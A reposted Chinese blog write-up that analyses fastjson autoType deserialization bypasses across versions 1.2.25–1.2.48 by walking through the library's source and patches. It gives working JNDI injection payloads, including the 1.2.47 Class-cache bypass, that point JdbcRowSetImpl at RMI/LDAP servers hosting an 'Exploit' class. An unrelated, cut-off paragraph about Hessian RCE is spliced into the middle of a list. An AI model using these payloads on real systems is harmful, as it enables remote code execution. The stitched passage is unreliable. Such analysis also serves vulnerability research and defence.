            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        //此处省略了当clazz不为null时的处理情况,与expectClass有关
        //但是我们这里输入固定是null,不执行此处代码

        //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        //执行不到此处
        return clazz;
}

可以得出在默认的AutoTypeSupport为False时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。

看一下默认黑名单,默认白名单(最下面,默认为空)

这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。

1.2.25-1.2.41绕过

所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True的情况下进行的。(这是一个很大的限制条件)

我们先来看显性修改AutoTypeSupport为True时的代码:

1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');


        if (autoTypeSupport || expectClass != null) {
            //先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
           //同样进行黑名单匹配,如果匹配成功,则报错推出。
            //需要注意这百年所谓的匹配都是startsWith开头匹配
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //一些固定类型的判断,不会对clazz进行赋值,此处省略

        //不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        //对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
        if (clazz != null) {
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }
        //返回加载的class
        return clazz;
}

可见在显性关闭白名单的情况下,我们也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。

看似我们只能找到其他的利用类跟黑名单进行硬刚。但我们再跟一下类的加载TypeUtils.loadClass就会有所发现。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        //特殊处理1!
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //特殊处理2!
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
    ...
  • 如果这个className是以[开头我们会去掉[进行加载!

    但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。

    Hessian反序列化RCE漏发复现及分析

    Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。 Hessian反序列化可导致RCE,POC于2017年就公开了,但是经过测试,目前最新版本hessian-4.0.60.jar,同样存在反序列化问题 使用marshalsec项目,可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean 下面使用Resin的payload来复现一下: 一,搭建测试环境 测试环境使用最新jar包,hessian-4.0.60.jar 将HessianTest.war放到tomcat/webapp/目录下并启动tomcat 访问服务器地址http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常 二,启动JNDI利用工具 执行命令:java -jar JNDI-In

  • 如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!

那么加上L开头;结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:

//1.2.25-41绕过 jndi ldap
{"被屏蔽的type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.25-41绕过 7u21
同样加上L;,payload太长了且不唯一,就不写了

JAVA反序列化—FastJson组件

JAVA反序列化—FastJson组件

1.2.42版本修复

在1.2.42中对于1.2.41版本进行了修复,对于两个jar进行对比可以发现DefaultJSONParser.java没有什么关键的修改。

JAVA反序列化—FastJson组件

关键是在ParserConfig.java中修改了以下两点:

  1. 修改明文黑名单为黑名单hash
  2. 对于传入的类名,删除开头L和结尾的;

黑名单大致形式如下:

JAVA反序列化—FastJson组件

虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)

public static long fnv1a_64(String key){
        long hashCode = 0xcbf29ce484222325L;
        for(int i = 0; i < key.length(); ++i){
            char ch = key.charAt(i);
            hashCode ^= ch;
            hashCode *= 0x100000001b3L;
        }
        return hashCode;
    }
//可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算

有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。

再是对于传入的类名,删除开头L和结尾的;

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

// hash算法常量
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        // 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
        // 可以发现这边只进行了一次删除
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            className = className.substring(1, className.length() - 1);
        }
        // 计算处理后的类名的前三个字符的hash
        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            //基于前三个字符的hash结果继续进行hash运算
            //这边一位一位运算比较其实就相当于之前的startswith,开头匹配
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                //将运算结果跟白名单做比对
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //将运算结果跟黑名单做比对
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //之后就是一样的处理,根据类名加载类

确实有效的干掉了L开头;结尾的payload。

1.2.42绕过

但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:

//1.2.42绕过 jndi ldap
{"被屏蔽的type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42绕过 7u21
同样加上LL ;;,payload太长了且不唯一,就不写了

JAVA反序列化—FastJson组件

JAVA反序列化—FastJson组件

1.2.43版本修复

在1.2.43中对于1.2.42版本可绕过的情况进行了修复。

修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)的部分代码

//hash计算基础参数
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            //L开头,;结尾
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                //LL开头
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    //直接爆出异常
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

可见就对了LL开头的绕过进行了封堵。

至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。

之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)

1.2.44 [ 限制

1.2.44补充了loadclass时[的利用情况,上面说到过,实际上这种形式的payload是用不了的。

比如FastjsonExpliot框架中的{"被屏蔽的type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

JAVA反序列化—FastJson组件

但是在1.2.44中仍然对于这类类名进行了限制,使用同样的payload进行测试。

JAVA反序列化—FastJson组件

1.2.45 黑名单添加

1.2.45添加了黑名单,封堵了一些可以绕过黑名单的payload,比如:

//需要有第三方组件ibatis-core 3:0
{"被屏蔽的type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题

之后更新的版本比如1.2.46也都在补充黑名单

但是在1.2.47时,一个全新的payload就没有这种限制,通杀。

1.2.47 通杀payload!

我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。

我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。

我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        //1.typeName为null的情况,略

        //2.typeName太长或太短的情况,略

        //3.替换typeName中$为.,略

        //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
        //这里经过几版的修改,有点不一样了,但是绕不过,也略

        //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
        //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //6.从一个Mapping中获取这个类名的类,我们之后看
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
        //7.从反序列化器中获取这个类名的类,我们也之后看
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
           //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
            return clazz;
        }
        // 9. 针对默认白名单开启情况的处理,这里
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;
                //碰到黑名单就死
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                //满足白名单可以活,但是白名单默认是空的
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }
                    //针对expectCLass的特殊处理,没有expectCLass,不管
                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
        //通过以上全部检查,就可以从这里读取clazz
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        //这里对一些特殊的class进行处理,不重要

       //特性判断等

        return clazz;
    }

仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz出去才有机会。

  1. 因为白名单关闭(手动)时,我们如果进入第九步,会百分百跟黑名单正面撞上,必然被杀。我们只能在这之前溜出去,机会就在6,7步中。
  2. 白名单开启时(默认),虽然在第五步时,我们也会跟黑名单撞上,但是却莫名其妙的会有一线生机,只要满足TypeUtils.getClassFromMapping(typeName) != null(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。

那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。

于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping中得到的恶意类,但是这边都瞅瞅,后面也会用到)

  1. TypeUtils.getClassFromMapping(typeName)
  2. deserializers.findClass(typeName)

deserializers.findClass(typeName)

先看desesrializers,一个hashmap

private final IdentityHashMap<Type, ObjectDeserializer> deserializers         = new IdentityHashMap<Type, ObjectDeserializer>();

因为我们是从中取值,关注一下它是在哪里赋值的,当前文件搜索deserializers.put

com.alibaba.fastjson.parser.ParserConfig#initDeserializers:给出一部分截图

initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。

除此之外还有两个类会影响到desesrializers这个map

com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
    //太过复杂代码省略

在这个类中会往deserializers这个mapping中放入一些特定类:java.awt.*java.time.*java.util.Optional*java.nio.file.PathMap.Entry.class、以及在服务META-INF/services/目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。

在这个类中对于类名有着严格的要求和限定,不太行。看下一个。

com.alibaba.fastjson.parser.ParserConfig#putDeserializer
public void putDeserializer(Type type, ObjectDeserializer deserializer) {
        deserializers.put(type, deserializer);
    }

代码极其简单,但是只在ParserConfig#getDeserializer(就是上面那个类)和initJavaBeanDeserializers类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。

那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。

这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。

那我们换一条路看看TypeUtils.getClassFromMapping(typeName)

TypeUtils.getClassFromMapping(typeName)

先看getClassFromMapping

//这个map是一个hashmap
private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
    ...
    public static Class<?> getClassFromMapping(String className){
        //很简单的一个mapping的get
        return mappings.get(className);
    }

按照套路去寻找影响这个mappings的put方法。搜索mappings.put,在下面这两个方法中有找到:

com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

addBaseClassMappings这个方法,方法内容很长,我们就不细看了,但是它是一个没有传参的方法….这样我们就没有一个可控的参数去控制其中的内容。

private static void addBaseClassMappings(){
    mappings.put("byte", byte.class);
    mappings.put("short", short.class);
    mappings.put("int", int.class);
    mappings.put("long", long.class);
    //诸如此类的放入一些固定的class至mappings中
    ...
}

并且还只在两个没毛病的地方调用了这个方法:

前者是一个static静态代码块:

static{
        addBaseClassMappings();
    }

后者是一个clearClassMapping方法:

public static void clearClassMapping(){
    mappings.clear();
    addBaseClassMappings();
}

没戏,不可控。

再看另一个有mappings.put的位置TypeUtils.loadClass,我们需要详细看看这个方法:

其实这个TypeUtils.loadClass,在1.2.25-1.2.41中我们分析过一小段,其实是同一个函数!

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        //判断className是否为空,是的话直接返回null
        if(className == null || className.length() == 0){
            return null;
        }
        //判断className是否已经存在于mappings中
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            //是的话,直接返回
            return clazz;
        }
        //判断className是否是[开头,1.2.44中针对限制的东西就是这个
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        //1. 我们需要关注的mappings在这里有
        try{
            //输入的classLoader不为空时
            if(classLoader != null){
                //调用加载器去加载我们给的className
                clazz = classLoader.loadClass(className);
                //!!如果cache为true!!
                if (cache) {
                    //往我们关注的mappings中写入这个className
                    mappings.put(className, clazz);
                }
                return clazz;//返回加载出来的类
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        //2. 在这里也有,但是好像这里有关线程,比较严格。
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                //同样需要输入的cache为true,才有可能修改
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        //3. 这里也有,限制很松
        try{
            //加载类
            clazz = Class.forName(className);
            //直接放入mappings中
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)

看看这个类在什么地方被引用。

JAVA反序列化—FastJson组件

前三者都是在ParserConfig#autocheck这个我们需要攻克的类中,如果能在那里调用loadClass并传入一个恶意类去加载。那就已经完成了我们的最终目的,根本不需要通过mappings这个空子去钻。

所以只需要看TypeUtils.java中的引用处。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, true);
    }

cache为true,一个好消息,因为有三处修改mapping的地方,两个地方需要cache为true。

这百年可以看到在这个类中会自己引用自己的类,跳来跳去,但是也有外部的类引用当前类。这是我们主要关注的。(因为一个底层的工具类,不可能被我们直接调用到)

慢慢看,把跳出去的接口理出来

/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334

JAVA反序列化—FastJson组件

这两个静态的,没搞头,就不看了。

只有上面一个跳出去MiscCodec.java#deserialze的,我们再过去看看:

以下代码段请一大段一大段倒着回退回来看

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;

        //4. clazz类型等于InetSocketAddress.class的处理。
        //我们需要的clazz必须为Class.class,不进入
        if (clazz == InetSocketAddress.class) {
            ...
        }

        Object objVal;
        //3. 下面这段赋值objVal这个值
        //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
        if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            //当parser.resolveStatus的值为  TypeNameRedirect
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);
            //lexer为json串的下一处解析点的相关数据
             //如果下一处的类型为string
            if (lexer.token() == JSONToken.LITERAL_STRING) {
                //判断解析的下一处的值是否为val,如果不是val,报错退出
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                //移动lexer到下一个解析点
                //举例:"val":(移动到此处->)"xxx"
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);
            //此处获取下一个解析点的值"xxx"赋值到objVal
            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            //当parser.resolveStatus的值不为TypeNameRedirect
            //直接解析下一个解析点到objVal
            objVal = parser.parse();
        }

        String strVal;
        //2. 可以看到strVal是由objVal赋值,继续往上看
        if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;
        } else {
            //不必进入的分支
        }

        if (strVal == null || strVal.length() == 0) {
            return null;
        }

        //省略诸多对于clazz类型判定的不同分支。

        //1. 可以得知,我们的clazz必须为Class.class类型
        if (clazz == Class.class) {
            //我们由这里进来的loadCLass
            //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus这上面来了

  1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个“val”:”恶意类名”,来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。

    所以一个json串的格式大概为"被屏蔽的type"="java.lang.Class","val":"恶意类名" 这样一个东西,大概如此。

  2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类

    大概需要一个json串如下:"被屏蔽的type"="java.lang.Class","恶意类名"

至于哪里调用了MiscCodec.java#deserialze,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行

JAVA反序列化—FastJson组件

定向砸payload

那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。

{
    "被屏蔽的type": "java.lang.Class", 
    "val": "com.sun.rowset.JdbcRowSetImpl"
}

先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

这里有我们的三个在乎的点,如下顺序:

public final Object parseObject(final Map object, Object fieldName) {
   ...  
   //先是checkAutoType这个万恶的过滤函数
   clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
   ...
   //ResolveStatus的赋值
   this.setResolveStatus(TypeNameRedirect);
   //污染TypeUtils.getClassFromMapping的触发处
   Object obj = deserializer.deserialze(this, clazz, fieldName);
}

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个分析过了。

JAVA反序列化—FastJson组件

deserializers.findClass(typeName)出去,这是我们之前分析过的一处可以绕过白名单黑名单出去的地方,但是这里只存放一些默认类,不可污染。而我们的class.class就在这个默认类列表中,自然直接出去了。(比如class.class怎么也不会匹配到黑名单,不这里出去,也是可以下面出去的)

再是,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。这个payload砸的没错。

JAVA反序列化—FastJson组件

可以发现进入了我们预计希望进入的com.alibaba.fastjson.serializer.MiscCodec#deserialze,可以看到上面有复杂的if判断,这就是得到初步的思路之后砸payload的好处,如果满足条件,我们就不用费力气去想这些是为啥的,反正默认进来了,不满足我们再去看哪里不符合就行。

JAVA反序列化—FastJson组件

一切按照计划进行。

由于objVal是一个String,继续赋值给strVal

跳跳跳,我们之前由checkAutoType得到的clazz为Class.class,进入loadCLass

JAVA反序列化—FastJson组件

默认cache为true,之前分析的时候也说到cache为true对我们来说是个好消息。接下来会有三种情况可以污染我们的关键mapping。看看会进入哪一个

下一个

JAVA反序列化—FastJson组件

第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put放入了我们的恶意类名!

完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。这就是大黑阔嘛,爱了爱了。

现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。

来一个调用栈:

JAVA反序列化—FastJson组件

那么获取一个有恶意类的类似缓存机制的mapping有啥用呢。再进一步被屏蔽的type就好。

JAVA反序列化—FastJson组件

之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。

但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了以下一个。

{
    "a": {
        "被屏蔽的type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "被屏蔽的type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

审计结束完美。

回顾一下进来的过程:

我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

  1. checkAutoType方法拿到Class.class
  2. 设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
  3. 进入deserializer.deserialze

com.alibaba.fastjson.serializer.MiscCodec#deserialze

  1. parser.resolveStatus为TypeNameRedirect,进入if为true走向
  2. 解析”val”:”恶意类名”,放入objVal,再传递到strVal
  3. 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

  1. 添加默认cache为true,调用loadClass

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

  1. 三个改变mappings的第一处,由于classLoader=null,不进入
  2. 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。

1.2.48修复

对比代码。修改了cache这一处。(右侧为1.2.47代码)

JAVA反序列化—FastJson组件

本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。

现在这边直接指定过来三个参数loadClass同时cache为false。

可见,在同样payload执行时,我们原来说会改变mappings的第二处就因为cache而无法改变。

但是我们还记得之前分析时有第三处不需要校验cache的mappings赋值!精神一振,这就是0day的气息么!

然后…….

JAVA反序列化—FastJson组件

这就是程序员的力量么,两行代码秒杀一切,爱了爱了,0day再见。

1.2.48以后

在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。

之后又出了一个影响广泛的拒绝服务漏洞,在1.2.60版本被修复。

当然这与反序列化就无关了,同时这篇文章也写得太久,太长了。也算是给2019做个结尾吧。

所以,

2020年,新年快乐。

要不 下场雪吧?

参考

l1nk3r大佬

https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/

https://p0sec.net/index.php/archives/123/

https://b1ue.cn/archives/184.html

https://github.com/LeadroyaL/fastjson-blacklist

https://p0rz9.github.io/2019/06/02/Fatsjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%90%8E%E7%BB%AD/

https://github.com/vulhub/vulhub/tree/master/fastjson

fastjson 反序列化复现

https://blog.csdn.net/kingmax54212008/article/details/95641681

https://github.com/alibaba/fastjson/tree/1.2.47

https://www.freebuf.com/vuls/208339.html

https://www.freebuf.com/column/180711.html

https://github.com/jas502n/fastjson-RCE

可能还看了很多。。但是真的回头找不到了,向网上老哥们致敬 (^^ゞ

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明JAVA反序列化—FastJson组件
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址